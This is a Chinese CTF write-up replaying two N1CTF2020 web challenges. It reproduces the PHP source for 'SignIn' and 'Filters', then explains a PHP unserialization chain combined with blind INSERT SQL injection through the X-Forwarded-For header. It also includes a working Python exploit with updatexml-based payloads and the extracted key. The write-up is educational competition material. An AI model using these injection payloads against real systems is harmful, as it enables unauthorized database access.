N1CTF2020赛后复现

SignIn

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
        if(md5($this->check)===md5("key****************")){
            readfile('/flag');
        }
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input'];
    unserialize($input);
}

      先看一下整体,ip类存在一个变量赋值数据库插入;flag类能够读取flag,但是需要check值。真実はいつもひとつ,check需要SQL注入得到,注入类型:insert注入,而实现注入需要我们插入构造的SQL语句,看向ip类的变量赋值过程:

$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);

ip的值取自于$_SERVER['HTTP_X_FORWARDED_FOR'],可以通过在请求头添加X-Forwarded-For实现变量覆盖插入SQL语句。

      接下来看如何访问ip类并执行__toString__toString的触发条件是类当成字符串使用,flag类中满足条件的共有两处:md5函数stristr函数。这时结合数据库操作来分析,mysqli_query函数完成insert插入的过程被作为条件判断,不会有任何有关数据库内容的输出,直接爆这条路行不通。只能尝试盲注了,恰好stristr函数的两个回显内容搭配if语句可以帮助判断,分析到此为止。

      先初步构造序列化字符串触发__toString

O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}

      然后请求头中添加X-Forwarded-For字段,fuzz发现过滤sleep、benchmark、like,构造SQL语句实现insert注入。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time

url = 'http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22:1:{s:2:%22ip%22;N;}s:5:%22check%22;N;}'
flag = ''
headers = {}

print("[+]Injection start...")
for j in range(50):
    length = len(flag)
    max = 127
    min = 32
    while max > min:
        mid = (max + min) // 2
        # payload = "1',updatexml(1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,concat(0x7e,('n1ctf'),0x7e)),1)),('1".format(j, mid)
            # table_name=n1ip,n1key
        # payload = "1',updatexml(1,if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='n1key'and table_schema=database()),{},1))>{},1,concat(0x7e,('n1ctf'),0x7e)),1)),('1".format(j, mid)
            # n1key: id, key
        # payload = "1',updatexml(1,if(ascii(substr((select `key` from n1key),{},1))>{},1,concat(0x7e,('n1ctf'),0x7e)),1)),('1".format(j, mid)
            # n1ctf20205bf75ab0a30dfc0c
        headers['X-Forwarded-For'] = payload
        res = requests.get(url, headers=headers)
        if "<code>welcome to n1ctf2020</code>" in res.text:
            max = mid
        elif "<code>noip</code>" in res.text:
            min = mid + 1
    flag += chr(max)
    print(flag)
    time.sleep(0.01)
    if length >= len(flag):
        break
    # 手动停
# print("[+]Injection end...\n" + flag)

Filters

一个web题为什么放在misc,还是说难度不够上web。。。(果然还是我太菜了吗)

开局源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__));
$input = explode("/",$_POST['filters']);
$source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]);
$file_contents = [];
foreach($input as $filter){
    array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php"));
}
shuffle($file_contents);
file_put_contents($source_file, $file_contents);
try {
    require_once $source_file;
}
catch(\Throwable $e){
    pass;
}

unlink($source_file);

?>

先研究研究。。。